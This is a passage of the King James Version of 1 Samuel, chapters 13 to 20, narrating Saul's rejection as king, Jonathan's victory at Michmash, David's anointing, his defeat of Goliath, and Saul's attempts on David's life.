according to the set time that Samuel +had appointed: but Samuel came not to Gilgal; and the people were +scattered from him. + +13:9 And Saul said, Bring hither a burnt offering to me, and peace +offerings. And he offered the burnt offering. + +13:10 And it came to pass, that as soon as he had made an end of +offering the burnt offering, behold, Samuel came; and Saul went out to +meet him, that he might salute him. + +13:11 And Samuel said, What hast thou done? And Saul said, Because I +saw that the people were scattered from me, and that thou camest not +within the days appointed, and that the Philistines gathered +themselves together at Michmash; 13:12 Therefore said I, The +Philistines will come down now upon me to Gilgal, and I have not made +supplication unto the LORD: I forced myself therefore, and offered a +burnt offering. + +13:13 And Samuel said to Saul, Thou hast done foolishly: thou hast not +kept the commandment of the LORD thy God, which he commanded thee: for +now would the LORD have established thy kingdom upon Israel for ever. + +13:14 But now thy kingdom shall not continue: the LORD hath sought him +a man after his own heart, and the LORD hath commanded him to be +captain over his people, because thou hast not kept that which the +LORD commanded thee. + +13:15 And Samuel arose, and gat him up from Gilgal unto Gibeah of +Benjamin. And Saul numbered the people that were present with him, +about six hundred men. + +13:16 And Saul, and Jonathan his son, and the people that were present +with them, abode in Gibeah of Benjamin: but the Philistines encamped +in Michmash. + +13:17 And the spoilers came out of the camp of the Philistines in +three companies: one company turned unto the way that leadeth to +Ophrah, unto the land of Shual: 13:18 And another company turned the +way to Bethhoron: and another company turned to the way of the border +that looketh to the valley of Zeboim toward the wilderness. + +13:19 Now there was no smith found throughout all the land of Israel: +for the Philistines said, Lest the Hebrews make them swords or spears: +13:20 But all the Israelites went down to the Philistines, to sharpen +every man his share, and his coulter, and his axe, and his mattock. + +13:21 Yet they had a file for the mattocks, and for the coulters, and +for the forks, and for the axes, and to sharpen the goads. + +13:22 So it came to pass in the day of battle, that there was neither +sword nor spear found in the hand of any of the people that were with +Saul and Jonathan: but with Saul and with Jonathan his son was there +found. + +13:23 And the garrison of the Philistines went out to the passage of +Michmash. + +14:1 Now it came to pass upon a day, that Jonathan the son of Saul +said unto the young man that bare his armour, Come, and let us go over +to the Philistines' garrison, that is on the other side. But he told +not his father. + +14:2 And Saul tarried in the uttermost part of Gibeah under a +pomegranate tree which is in Migron: and the people that were with him +were about six hundred men; 14:3 And Ahiah, the son of Ahitub, +Ichabod's brother, the son of Phinehas, the son of Eli, the LORD's +priest in Shiloh, wearing an ephod. And the people knew not that +Jonathan was gone. + +14:4 And between the passages, by which Jonathan sought to go over +unto the Philistines' garrison, there was a sharp rock on the one +side, and a sharp rock on the other side: and the name of the one was +Bozez, and the name of the other Seneh. + +14:5 The forefront of the one was situate northward over against +Michmash, and the other southward over against Gibeah. + +14:6 And Jonathan said to the young man that bare his armour, Come, +and let us go over unto the garrison of these uncircumcised: it may be +that the LORD will work for us: for there is no restraint to the LORD +to save by many or by few. + +14:7 And his armourbearer said unto him, Do all that is in thine +heart: turn thee; behold, I am with thee according to thy heart. + +14:8 Then said Jonathan, Behold, we will pass over unto these men, and +we will discover ourselves unto them. + +14:9 If they say thus unto us, Tarry until we come to you; then we +will stand still in our place, and will not go up unto them. + +14:10 But if they say thus, Come up unto us; then we will go up: for +the LORD hath delivered them into our hand: and this shall be a sign +unto us. + +14:11 And both of them discovered themselves unto the garrison of the +Philistines: and the Philistines said, Behold, the Hebrews come forth +out of the holes where they had hid themselves. + +14:12 And the men of the garrison answered Jonathan and his +armourbearer, and said, Come up to us, and we will shew you a thing. +And Jonathan said unto his armourbearer, Come up after me: for the +LORD hath delivered them into the hand of Israel. + +14:13 And Jonathan climbed up upon his hands and upon his feet, and +his armourbearer after him: and they fell before Jonathan; and his +armourbearer slew after him. + +14:14 And that first slaughter, which Jonathan and his armourbearer +made, was about twenty men, within as it were an half acre of land, +which a yoke of oxen might plow. + +14:15 And there was trembling in the host, in the field, and among all +the people: the garrison, and the spoilers, they also trembled, and +the earth quaked: so it was a very great trembling. + +14:16 And the watchmen of Saul in Gibeah of Benjamin looked; and, +behold, the multitude melted away, and they went on beating down one +another. + +14:17 Then said Saul unto the people that were with him, Number now, +and see who is gone from us. And when they had numbered, behold, +Jonathan and his armourbearer were not there. + +14:18 And Saul said unto Ahiah, Bring hither the ark of God. For the +ark of God was at that time with the children of Israel. + +14:19 And it came to pass, while Saul talked unto the priest, that the +noise that was in the host of the Philistines went on and increased: +and Saul said unto the priest, Withdraw thine hand. + +14:20 And Saul and all the people that were with him assembled +themselves, and they came to the battle: and, behold, every man's +sword was against his fellow, and there was a very great discomfiture. + +14:21 Moreover the Hebrews that were with the Philistines before that +time, which went up with them into the camp from the country round +about, even they also turned to be with the Israelites that were with +Saul and Jonathan. + +14:22 Likewise all the men of Israel which had hid themselves in mount +Ephraim, when they heard that the Philistines fled, even they also +followed hard after them in the battle. + +14:23 So the LORD saved Israel that day: and the battle passed over +unto Bethaven. + +14:24 And the men of Israel were distressed that day: for Saul had +adjured the people, saying, Cursed be the man that eateth any food +until evening, that I may be avenged on mine enemies. So none of the +people tasted any food. + +14:25 And all they of the land came to a wood; and there was honey +upon the ground. + +14:26 And when the people were come into the wood, behold, the honey +dropped; but no man put his hand to his mouth: for the people feared +the oath. + +14:27 But Jonathan heard not when his father charged the people with +the oath: wherefore he put forth the end of the rod that was in his +hand, and dipped it in an honeycomb, and put his hand to his mouth; +and his eyes were enlightened. + +14:28 Then answered one of the people, and said, Thy father straitly +charged the people with an oath, saying, Cursed be the man that eateth +any food this day. And the people were faint. + +14:29 Then said Jonathan, My father hath troubled the land: see, I +pray you, how mine eyes have been enlightened, because I tasted a +little of this honey. + +14:30 How much more, if haply the people had eaten freely to day of +the spoil of their enemies which they found? for had there not been +now a much greater slaughter among the Philistines? 14:31 And they +smote the Philistines that day from Michmash to Aijalon: and the +people were very faint. + +14:32 And the people flew upon the spoil, and took sheep, and oxen, +and calves, and slew them on the ground: and the people did eat them +with the blood. + +14:33 Then they told Saul, saying, Behold, the people sin against the +LORD, in that they eat with the blood. And he said, Ye have +transgressed: roll a great stone unto me this day. + +14:34 And Saul said, Disperse yourselves among the people, and say +unto them, Bring me hither every man his ox, and every man his sheep, +and slay them here, and eat; and sin not against the LORD in eating +with the blood. + +And all the people brought every man his ox with him that night, and +slew them there. + +14:35 And Saul built an altar unto the LORD: the same was the first +altar that he built unto the LORD. + +14:36 And Saul said, Let us go down after the Philistines by night, +and spoil them until the morning light, and let us not leave a man of +them. And they said, Do whatsoever seemeth good unto thee. Then said +the priest, Let us draw near hither unto God. + +14:37 And Saul asked counsel of God, Shall I go down after the +Philistines? wilt thou deliver them into the hand of Israel? But he +answered him not that day. + +14:38 And Saul said, Draw ye near hither, all the chief of the people: +and know and see wherein this sin hath been this day. + +14:39 For, as the LORD liveth, which saveth Israel, though it be in +Jonathan my son, he shall surely die. But there was not a man among +all the people that answered him. + +14:40 Then said he unto all Israel, Be ye on one side, and I and +Jonathan my son will be on the other side. And the people said unto +Saul, Do what seemeth good unto thee. + +14:41 Therefore Saul said unto the LORD God of Israel, Give a perfect +lot. + +And Saul and Jonathan were taken: but the people escaped. + +14:42 And Saul said, Cast lots between me and Jonathan my son. And +Jonathan was taken. + +14:43 Then Saul said to Jonathan, Tell me what thou hast done. And +Jonathan told him, and said, I did but taste a little honey with the +end of the rod that was in mine hand, and, lo, I must die. + +14:44 And Saul answered, God do so and more also: for thou shalt +surely die, Jonathan. + +14:45 And the people said unto Saul, Shall Jonathan die, who hath +wrought this great salvation in Israel? God forbid: as the LORD +liveth, there shall not one hair of his head fall to the ground; for +he hath wrought with God this day. So the people rescued Jonathan, +that he died not. + +14:46 Then Saul went up from following the Philistines: and the +Philistines went to their own place. + +14:47 So Saul took the kingdom over Israel, and fought against all his +enemies on every side, against Moab, and against the children of +Ammon, and against Edom, and against the kings of Zobah, and against +the Philistines: and whithersoever he turned himself, he vexed them. + +14:48 And he gathered an host, and smote the Amalekites, and delivered +Israel out of the hands of them that spoiled them. + +14:49 Now the sons of Saul were Jonathan, and Ishui, and Melchishua: +and the names of his two daughters were these; the name of the +firstborn Merab, and the name of the younger Michal: 14:50 And the +name of Saul's wife was Ahinoam, the daughter of Ahimaaz: and the name +of the captain of his host was Abner, the son of Ner, Saul's uncle. + +14:51 And Kish was the father of Saul; and Ner the father of Abner was +the son of Abiel. + +14:52 And there was sore war against the Philistines all the days of +Saul: and when Saul saw any strong man, or any valiant man, he took +him unto him. + +15:1 Samuel also said unto Saul, The LORD sent me to anoint thee to be +king over his people, over Israel: now therefore hearken thou unto the +voice of the words of the LORD. + +15:2 Thus saith the LORD of hosts, I remember that which Amalek did to +Israel, how he laid wait for him in the way, when he came up from +Egypt. + +15:3 Now go and smite Amalek, and utterly destroy all that they have, +and spare them not; but slay both man and woman, infant and suckling, +ox and sheep, camel and ass. + +15:4 And Saul gathered the people together, and numbered them in +Telaim, two hundred thousand footmen, and ten thousand men of Judah. + +15:5 And Saul came to a city of Amalek, and laid wait in the valley. + +15:6 And Saul said unto the Kenites, Go, depart, get you down from +among the Amalekites, lest I destroy you with them: for ye shewed +kindness to all the children of Israel, when they came up out of +Egypt. So the Kenites departed from among the Amalekites. + +15:7 And Saul smote the Amalekites from Havilah until thou comest to +Shur, that is over against Egypt. + +15:8 And he took Agag the king of the Amalekites alive, and utterly +destroyed all the people with the edge of the sword. + +15:9 But Saul and the people spared Agag, and the best of the sheep, +and of the oxen, and of the fatlings, and the lambs, and all that was +good, and would not utterly destroy them: but every thing that was +vile and refuse, that they destroyed utterly. + +15:10 Then came the word of the LORD unto Samuel, saying, 15:11 It +repenteth me that I have set up Saul to be king: for he is turned back +from following me, and hath not performed my commandments. And it +grieved Samuel; and he cried unto the LORD all night. + +15:12 And when Samuel rose early to meet Saul in the morning, it was +told Samuel, saying, Saul came to Carmel, and, behold, he set him up a +place, and is gone about, and passed on, and gone down to Gilgal. + +15:13 And Samuel came to Saul: and Saul said unto him, Blessed be thou +of the LORD: I have performed the commandment of the LORD. + +15:14 And Samuel said, What meaneth then this bleating of the sheep in +mine ears, and the lowing of the oxen which I hear? 15:15 And Saul +said, They have brought them from the Amalekites: for the people +spared the best of the sheep and of the oxen, to sacrifice unto the +LORD thy God; and the rest we have utterly destroyed. + +15:16 Then Samuel said unto Saul, Stay, and I will tell thee what the +LORD hath said to me this night. And he said unto him, Say on. + +15:17 And Samuel said, When thou wast little in thine own sight, wast +thou not made the head of the tribes of Israel, and the LORD anointed +thee king over Israel? 15:18 And the LORD sent thee on a journey, and +said, Go and utterly destroy the sinners the Amalekites, and fight +against them until they be consumed. + +15:19 Wherefore then didst thou not obey the voice of the LORD, but +didst fly upon the spoil, and didst evil in the sight of the LORD? +15:20 And Saul said unto Samuel, Yea, I have obeyed the voice of the +LORD, and have gone the way which the LORD sent me, and have brought +Agag the king of Amalek, and have utterly destroyed the Amalekites. + +15:21 But the people took of the spoil, sheep and oxen, the chief of +the things which should have been utterly destroyed, to sacrifice unto +the LORD thy God in Gilgal. + +15:22 And Samuel said, Hath the LORD as great delight in burnt +offerings and sacrifices, as in obeying the voice of the LORD? Behold, +to obey is better than sacrifice, and to hearken than the fat of rams. + +15:23 For rebellion is as the sin of witchcraft, and stubbornness is +as iniquity and idolatry. Because thou hast rejected the word of the +LORD, he hath also rejected thee from being king. + +15:24 And Saul said unto Samuel, I have sinned: for I have +transgressed the commandment of the LORD, and thy words: because I +feared the people, and obeyed their voice. + +15:25 Now therefore, I pray thee, pardon my sin, and turn again with +me, that I may worship the LORD. + +15:26 And Samuel said unto Saul, I will not return with thee: for thou +hast rejected the word of the LORD, and the LORD hath rejected thee +from being king over Israel. + +15:27 And as Samuel turned about to go away, he laid hold upon the +skirt of his mantle, and it rent. + +15:28 And Samuel said unto him, The LORD hath rent the kingdom of +Israel from thee this day, and hath given it to a neighbour of thine, +that is better than thou. + +15:29 And also the Strength of Israel will not lie nor repent: for he +is not a man, that he should repent. + +15:30 Then he said, I have sinned: yet honour me now, I pray thee, +before the elders of my people, and before Israel, and turn again with +me, that I may worship the LORD thy God. + +15:31 So Samuel turned again after Saul; and Saul worshipped the LORD. + +15:32 Then said Samuel, Bring ye hither to me Agag the king of the +Amalekites. And Agag came unto him delicately. And Agag said, Surely +the bitterness of death is past. + +15:33 And Samuel said, As the sword hath made women childless, so +shall thy mother be childless among women. And Samuel hewed Agag in +pieces before the LORD in Gilgal. + +15:34 Then Samuel went to Ramah; and Saul went up to his house to +Gibeah of Saul. + +15:35 And Samuel came no more to see Saul until the day of his death: +nevertheless Samuel mourned for Saul: and the LORD repented that he +had made Saul king over Israel. + +16:1 And the LORD said unto Samuel, How long wilt thou mourn for Saul, +seeing I have rejected him from reigning over Israel? fill thine horn +with oil, and go, I will send thee to Jesse the Bethlehemite: for I +have provided me a king among his sons. + +16:2 And Samuel said, How can I go? if Saul hear it, he will kill me. +And the LORD said, Take an heifer with thee, and say, I am come to +sacrifice to the LORD. + +16:3 And call Jesse to the sacrifice, and I will shew thee what thou +shalt do: and thou shalt anoint unto me him whom I name unto thee. + +16:4 And Samuel did that which the LORD spake, and came to Bethlehem. +And the elders of the town trembled at his coming, and said, Comest +thou peaceably? 16:5 And he said, Peaceably: I am come to sacrifice +unto the LORD: sanctify yourselves, and come with me to the sacrifice. +And he sanctified Jesse and his sons, and called them to the +sacrifice. + +16:6 And it came to pass, when they were come, that he looked on +Eliab, and said, Surely the LORD's anointed is before him. + +16:7 But the LORD said unto Samuel, Look not on his countenance, or on +the height of his stature; because I have refused him: for the LORD +seeth not as man seeth; for man looketh on the outward appearance, but +the LORD looketh on the heart. + +16:8 Then Jesse called Abinadab, and made him pass before Samuel. And +he said, Neither hath the LORD chosen this. + +16:9 Then Jesse made Shammah to pass by. And he said, Neither hath the +LORD chosen this. + +16:10 Again, Jesse made seven of his sons to pass before Samuel. And +Samuel said unto Jesse, The LORD hath not chosen these. + +16:11 And Samuel said unto Jesse, Are here all thy children? And he +said, There remaineth yet the youngest, and, behold, he keepeth the +sheep. And Samuel said unto Jesse, Send and fetch him: for we will not +sit down till he come hither. + +16:12 And he sent, and brought him in. Now he was ruddy, and withal of +a beautiful countenance, and goodly to look to. And the LORD said, +Arise, anoint him: for this is he. + +16:13 Then Samuel took the horn of oil, and anointed him in the midst +of his brethren: and the Spirit of the LORD came upon David from that +day forward. So Samuel rose up, and went to Ramah. + +16:14 But the Spirit of the LORD departed from Saul, and an evil +spirit from the LORD troubled him. + +16:15 And Saul's servants said unto him, Behold now, an evil spirit +from God troubleth thee. + +16:16 Let our lord now command thy servants, which are before thee, to +seek out a man, who is a cunning player on an harp: and it shall come +to pass, when the evil spirit from God is upon thee, that he shall +play with his hand, and thou shalt be well. + +16:17 And Saul said unto his servants, Provide me now a man that can +play well, and bring him to me. + +16:18 Then answered one of the servants, and said, Behold, I have seen +a son of Jesse the Bethlehemite, that is cunning in playing, and a +mighty valiant man, and a man of war, and prudent in matters, and a +comely person, and the LORD is with him. + +16:19 Wherefore Saul sent messengers unto Jesse, and said, Send me +David thy son, which is with the sheep. + +16:20 And Jesse took an ass laden with bread, and a bottle of wine, +and a kid, and sent them by David his son unto Saul. + +16:21 And David came to Saul, and stood before him: and he loved him +greatly; and he became his armourbearer. + +16:22 And Saul sent to Jesse, saying, Let David, I pray thee, stand +before me; for he hath found favour in my sight. + +16:23 And it came to pass, when the evil spirit from God was upon +Saul, that David took an harp, and played with his hand: so Saul was +refreshed, and was well, and the evil spirit departed from him. + +17:1 Now the Philistines gathered together their armies to battle, and +were gathered together at Shochoh, which belongeth to Judah, and +pitched between Shochoh and Azekah, in Ephesdammim. + +17:2 And Saul and the men of Israel were gathered together, and +pitched by the valley of Elah, and set the battle in array against the +Philistines. + +17:3 And the Philistines stood on a mountain on the one side, and +Israel stood on a mountain on the other side: and there was a valley +between them. + +17:4 And there went out a champion out of the camp of the Philistines, +named Goliath, of Gath, whose height was six cubits and a span. + +17:5 And he had an helmet of brass upon his head, and he was armed +with a coat of mail; and the weight of the coat was five thousand +shekels of brass. + +17:6 And he had greaves of brass upon his legs, and a target of brass +between his shoulders. + +17:7 And the staff of his spear was like a weaver's beam; and his +spear's head weighed six hundred shekels of iron: and one bearing a +shield went before him. + +17:8 And he stood and cried unto the armies of Israel, and said unto +them, Why are ye come out to set your battle in array? am not I a +Philistine, and ye servants to Saul? choose you a man for you, and let +him come down to me. + +17:9 If he be able to fight with me, and to kill me, then will we be +your servants: but if I prevail against him, and kill him, then shall +ye be our servants, and serve us. + +17:10 And the Philistine said, I defy the armies of Israel this day; +give me a man, that we may fight together. + +17:11 When Saul and all Israel heard those words of the Philistine, +they were dismayed, and greatly afraid. + +17:12 Now David was the son of that Ephrathite of Bethlehemjudah, +whose name was Jesse; and he had eight sons: and the man went among +men for an old man in the days of Saul. + +17:13 And the three eldest sons of Jesse went and followed Saul to the +battle: and the names of his three sons that went to the battle were +Eliab the firstborn, and next unto him Abinadab, and the third +Shammah. + +17:14 And David was the youngest: and the three eldest followed Saul. + +17:15 But David went and returned from Saul to feed his father's sheep +at Bethlehem. + +17:16 And the Philistine drew near morning and evening, and presented +himself forty days. + +17:17 And Jesse said unto David his son, Take now for thy brethren an +ephah of this parched corn, and these ten loaves, and run to the camp +of thy brethren; 17:18 And carry these ten cheeses unto the captain of +their thousand, and look how thy brethren fare, and take their pledge. + +17:19 Now Saul, and they, and all the men of Israel, were in the +valley of Elah, fighting with the Philistines. + +17:20 And David rose up early in the morning, and left the sheep with +a keeper, and took, and went, as Jesse had commanded him; and he came +to the trench, as the host was going forth to the fight, and shouted +for the battle. + +17:21 For Israel and the Philistines had put the battle in array, army +against army. + +17:22 And David left his carriage in the hand of the keeper of the +carriage, and ran into the army, and came and saluted his brethren. + +17:23 And as he talked with them, behold, there came up the champion, +the Philistine of Gath, Goliath by name, out of the armies of the +Philistines, and spake according to the same words: and David heard +them. + +17:24 And all the men of Israel, when they saw the man, fled from him, +and were sore afraid. + +17:25 And the men of Israel said, Have ye seen this man that is come +up? surely to defy Israel is he come up: and it shall be, that the +man who killeth him, the king will enrich him with great riches, and +will give him his daughter, and make his father's house free in +Israel. + +17:26 And David spake to the men that stood by him, saying, What shall +be done to the man that killeth this Philistine, and taketh away the +reproach from Israel? for who is this uncircumcised Philistine, that +he should defy the armies of the living God? 17:27 And the people +answered him after this manner, saying, So shall it be done to the man +that killeth him. + +17:28 And Eliab his eldest brother heard when he spake unto the men; +and Eliab's anger was kindled against David, and he said, Why camest +thou down hither? and with whom hast thou left those few sheep in the +wilderness? I know thy pride, and the naughtiness of thine heart; for +thou art come down that thou mightest see the battle. + +17:29 And David said, What have I now done? Is there not a cause? +17:30 And he turned from him toward another, and spake after the same +manner: and the people answered him again after the former manner. + +17:31 And when the words were heard which David spake, they rehearsed +them before Saul: and he sent for him. + +17:32 And David said to Saul, Let no man's heart fail because of him; +thy servant will go and fight with this Philistine. + +17:33 And Saul said to David, Thou art not able to go against this +Philistine to fight with him: for thou art but a youth, and he a man +of war from his youth. + +17:34 And David said unto Saul, Thy servant kept his father's sheep, +and there came a lion, and a bear, and took a lamb out of the flock: +17:35 And I went out after him, and smote him, and delivered it out of +his mouth: and when he arose against me, I caught him by his beard, +and smote him, and slew him. + +17:36 Thy servant slew both the lion and the bear: and this +uncircumcised Philistine shall be as one of them, seeing he hath +defied the armies of the living God. + +17:37 David said moreover, The LORD that delivered me out of the paw +of the lion, and out of the paw of the bear, he will deliver me out of +the hand of this Philistine. And Saul said unto David, Go, and the +LORD be with thee. + +17:38 And Saul armed David with his armour, and he put an helmet of +brass upon his head; also he armed him with a coat of mail. + +17:39 And David girded his sword upon his armour, and he assayed to +go; for he had not proved it. And David said unto Saul, I cannot go +with these; for I have not proved them. And David put them off him. + +17:40 And he took his staff in his hand, and chose him five smooth +stones out of the brook, and put them in a shepherd's bag which he +had, even in a scrip; and his sling was in his hand: and he drew near +to the Philistine. + +17:41 And the Philistine came on and drew near unto David; and the man +that bare the shield went before him. + +17:42 And when the Philistine looked about, and saw David, he +disdained him: for he was but a youth, and ruddy, and of a fair +countenance. + +17:43 And the Philistine said unto David, Am I a dog, that thou comest +to me with staves? And the Philistine cursed David by his gods. + +17:44 And the Philistine said to David, Come to me, and I will give +thy flesh unto the fowls of the air, and to the beasts of the field. + +17:45 Then said David to the Philistine, Thou comest to me with a +sword, and with a spear, and with a shield: but I come to thee in the +name of the LORD of hosts, the God of the armies of Israel, whom thou +hast defied. + +17:46 This day will the LORD deliver thee into mine hand; and I will +smite thee, and take thine head from thee; and I will give the +carcases of the host of the Philistines this day unto the fowls of the +air, and to the wild beasts of the earth; that all the earth may know +that there is a God in Israel. + +17:47 And all this assembly shall know that the LORD saveth not with +sword and spear: for the battle is the LORD's, and he will give you +into our hands. + +17:48 And it came to pass, when the Philistine arose, and came, and +drew nigh to meet David, that David hastened, and ran toward the army +to meet the Philistine. + +17:49 And David put his hand in his bag, and took thence a stone, and +slang it, and smote the Philistine in his forehead, that the stone +sunk into his forehead; and he fell upon his face to the earth. + +17:50 So David prevailed over the Philistine with a sling and with a +stone, and smote the Philistine, and slew him; but there was no sword +in the hand of David. + +17:51 Therefore David ran, and stood upon the Philistine, and took his +sword, and drew it out of the sheath thereof, and slew him, and cut +off his head therewith. And when the Philistines saw their champion +was dead, they fled. + +17:52 And the men of Israel and of Judah arose, and shouted, and +pursued the Philistines, until thou come to the valley, and to the +gates of Ekron. + +And the wounded of the Philistines fell down by the way to Shaaraim, +even unto Gath, and unto Ekron. + +17:53 And the children of Israel returned from chasing after the +Philistines, and they spoiled their tents. + +17:54 And David took the head of the Philistine, and brought it to +Jerusalem; but he put his armour in his tent. + +17:55 And when Saul saw David go forth against the Philistine, he said +unto Abner, the captain of the host, Abner, whose son is this youth? +And Abner said, As thy soul liveth, O king, I cannot tell. + +17:56 And the king said, Enquire thou whose son the stripling is. + +17:57 And as David returned from the slaughter of the Philistine, +Abner took him, and brought him before Saul with the head of the +Philistine in his hand. + +17:58 And Saul said to him, Whose son art thou, thou young man? And +David answered, I am the son of thy servant Jesse the Bethlehemite. + +18:1 And it came to pass, when he had made an end of speaking unto +Saul, that the soul of Jonathan was knit with the soul of David, and +Jonathan loved him as his own soul. + +18:2 And Saul took him that day, and would let him go no more home to +his father's house. + +18:3 Then Jonathan and David made a covenant, because he loved him as +his own soul. + +18:4 And Jonathan stripped himself of the robe that was upon him, and +gave it to David, and his garments, even to his sword, and to his bow, +and to his girdle. + +18:5 And David went out whithersoever Saul sent him, and behaved +himself wisely: and Saul set him over the men of war, and he was +accepted in the sight of all the people, and also in the sight of +Saul's servants. + +18:6 And it came to pass as they came, when David was returned from +the slaughter of the Philistine, that the women came out of all cities +of Israel, singing and dancing, to meet king Saul, with tabrets, with +joy, and with instruments of musick. + +18:7 And the women answered one another as they played, and said, Saul +hath slain his thousands, and David his ten thousands. + +18:8 And Saul was very wroth, and the saying displeased him; and he +said, They have ascribed unto David ten thousands, and to me they have +ascribed but thousands: and what can he have more but the kingdom? +18:9 And Saul eyed David from that day and forward. + +18:10 And it came to pass on the morrow, that the evil spirit from God +came upon Saul, and he prophesied in the midst of the house: and David +played with his hand, as at other times: and there was a javelin in +Saul's hand. + +18:11 And Saul cast the javelin; for he said, I will smite David even +to the wall with it. And David avoided out of his presence twice. + +18:12 And Saul was afraid of David, because the LORD was with him, and +was departed from Saul. + +18:13 Therefore Saul removed him from him, and made him his captain +over a thousand; and he went out and came in before the people. + +18:14 And David behaved himself wisely in all his ways; and the LORD +was with him. + +18:15 Wherefore when Saul saw that he behaved himself very wisely, he +was afraid of him. + +18:16 But all Israel and Judah loved David, because he went out and +came in before them. + +18:17 And Saul said to David, Behold my elder daughter Merab, her will +I give thee to wife: only be thou valiant for me, and fight the LORD's +battles. + +For Saul said, Let not mine hand be upon him, but let the hand of the +Philistines be upon him. + +18:18 And David said unto Saul, Who am I? and what is my life, or my +father's family in Israel, that I should be son in law to the king? +18:19 But it came to pass at the time when Merab Saul's daughter +should have been given to David, that she was given unto Adriel the +Meholathite to wife. + +18:20 And Michal Saul's daughter loved David: and they told Saul, and +the thing pleased him. + +18:21 And Saul said, I will give him her, that she may be a snare to +him, and that the hand of the Philistines may be against him. +Wherefore Saul said to David, Thou shalt this day be my son in law in +the one of the twain. + +18:22 And Saul commanded his servants, saying, Commune with David +secretly, and say, Behold, the king hath delight in thee, and all his +servants love thee: now therefore be the king's son in law. + +18:23 And Saul's servants spake those words in the ears of David. And +David said, Seemeth it to you a light thing to be a king's son in law, +seeing that I am a poor man, and lightly esteemed? 18:24 And the +servants of Saul told him, saying, On this manner spake David. + +18:25 And Saul said, Thus shall ye say to David, The king desireth not +any dowry, but an hundred foreskins of the Philistines, to be avenged +of the king's enemies. But Saul thought to make David fall by the hand +of the Philistines. + +18:26 And when his servants told David these words, it pleased David +well to be the king's son in law: and the days were not expired. + +18:27 Wherefore David arose and went, he and his men, and slew of the +Philistines two hundred men; and David brought their foreskins, and +they gave them in full tale to the king, that he might be the king's +son in law. And Saul gave him Michal his daughter to wife. + +18:28 And Saul saw and knew that the LORD was with David, and that +Michal Saul's daughter loved him. + +18:29 And Saul was yet the more afraid of David; and Saul became +David's enemy continually. + +18:30 Then the princes of the Philistines went forth: and it came to +pass, after they went forth, that David behaved himself more wisely +than all the servants of Saul; so that his name was much set by. + +19:1 And Saul spake to Jonathan his son, and to all his servants, that +they should kill David. + +19:2 But Jonathan Saul's son delighted much in David: and Jonathan +told David, saying, Saul my father seeketh to kill thee: now +therefore, I pray thee, take heed to thyself until the morning, and +abide in a secret place, and hide thyself: 19:3 And I will go out and +stand beside my father in the field where thou art, and I will commune +with my father of thee; and what I see, that I will tell thee. + +19:4 And Jonathan spake good of David unto Saul his father, and said +unto him, Let not the king sin against his servant, against David; +because he hath not sinned against thee, and because his works have +been to thee-ward very good: 19:5 For he did put his life in his hand, +and slew the Philistine, and the LORD wrought a great salvation for +all Israel: thou sawest it, and didst rejoice: wherefore then wilt +thou sin against innocent blood, to slay David without a cause? 19:6 +And Saul hearkened unto the voice of Jonathan: and Saul sware, As the +LORD liveth, he shall not be slain. + +19:7 And Jonathan called David, and Jonathan shewed him all those +things. + +And Jonathan brought David to Saul, and he was in his presence, as in +times past. + +19:8 And there was war again: and David went out, and fought with the +Philistines, and slew them with a great slaughter; and they fled from +him. + +19:9 And the evil spirit from the LORD was upon Saul, as he sat in his +house with his javelin in his hand: and David played with his hand. + +19:10 And Saul sought to smite David even to the wall with the +javelin: but he slipped away out of Saul's presence, and he smote the +javelin into the wall: and David fled, and escaped that night. + +19:11 Saul also sent messengers unto David's house, to watch him, and +to slay him in the morning: and Michal David's wife told him, saying, +If thou save not thy life to night, to morrow thou shalt be slain. + +19:12 So Michal let David down through a window: and he went, and +fled, and escaped. + +19:13 And Michal took an image, and laid it in the bed, and put a +pillow of goats' hair for his bolster, and covered it with a cloth. + +19:14 And when Saul sent messengers to take David, she said, He is +sick. + +19:15 And Saul sent the messengers again to see David, saying, Bring +him up to me in the bed, that I may slay him. + +19:16 And when the messengers were come in, behold, there was an image +in the bed, with a pillow of goats' hair for his bolster. + +19:17 And Saul said unto Michal, Why hast thou deceived me so, and +sent away mine enemy, that he is escaped? And Michal answered Saul, He +said unto me, Let me go; why should I kill thee? 19:18 So David fled, +and escaped, and came to Samuel to Ramah, and told him all that Saul +had done to him. And he and Samuel went and dwelt in Naioth. + +19:19 And it was told Saul, saying, Behold, David is at Naioth in +Ramah. + +19:20 And Saul sent messengers to take David: and when they saw the +company of the prophets prophesying, and Samuel standing as appointed +over them, the Spirit of God was upon the messengers of Saul, and they +also prophesied. + +19:21 And when it was told Saul, he sent other messengers, and they +prophesied likewise. And Saul sent messengers again the third time, +and they prophesied also. + +19:22 Then went he also to Ramah, and came to a great well that is in +Sechu: and he asked and said, Where are Samuel and David? And one +said, Behold, they be at Naioth in Ramah. + +19:23 And he went thither to Naioth in Ramah: and the Spirit of God +was upon him also, and he went on, and prophesied, until he came to +Naioth in Ramah. + +19:24 And he stripped off his clothes also, and prophesied before +Samuel in like manner, and lay down naked all that day and all that +night. Wherefore they say, Is Saul also among the prophets? 20:1 And +David fled from Naioth in Ramah, and came and said before Jonathan, +What have I done? what is mine iniquity? and what is my sin before thy +father, that he seeketh my life? 20:2 And he said unto him, God +forbid; thou shalt not die: behold, my father will do nothing either +great or small, but that he will shew it me: and why should my father +hide this thing from me? it is not so. + +20:3 And David sware moreover, and said, Thy father certainly knoweth +that I have found grace in thine eyes; and he saith, Let not Jonathan +know this, lest he be grieved: but truly as the LORD liveth, and as +thy soul liveth, there is but a step between me and death. + +20:4 Then said Jonathan unto David, Whatsoever thy soul desireth, I +will even do it for thee. + +20:5 And David said unto Jonathan, Behold, to morrow is the new moon, +and I should not fail to sit with the king at meat: but let me go, +that I may hide myself in the field unto the third day at even. + +20:6 If thy father at all miss me, then say, David earnestly asked +leave of me that he might run to Bethlehem his city: for there is a +yearly sacrifice there for all the family. + +20:7 If he say thus, It is well; thy servant shall have peace: but if +he be very wroth, then be sure that evil is determined by him. + +20:8 Therefore thou shalt deal kindly with thy servant; for thou hast +brought thy servant into a covenant of the LORD with thee: +notwithstanding, if there be in me iniquity, slay me thyself; for why +shouldest thou bring me to thy father? 20:9 And Jonathan said, Far be +it from thee: for if I knew certainly that evil were determined by my +father to come upon thee, then would not I tell it thee? 20:10 Then +said David to Jonathan, Who shall tell me? or what if thy father +answer thee roughly? 20:11 And Jonathan said unto David, Come, and +let us go out into the field. And they went out both of them into the +field. + +20:12 And Jonathan said unto David, O LORD God of Israel, when I have +sounded my father about to morrow any time, or the third day, and, +behold, if there be good toward David, and I then send not unto thee, +and shew it thee; 20:13 The LORD do so and much more to Jonathan: but +if it please my father to do thee evil, then I will shew it thee, and +send thee away, that thou mayest go in peace: and the LORD be with +thee, as he hath been with my father. + +20:14 And thou shalt not only while yet I live shew me the kindness of +the 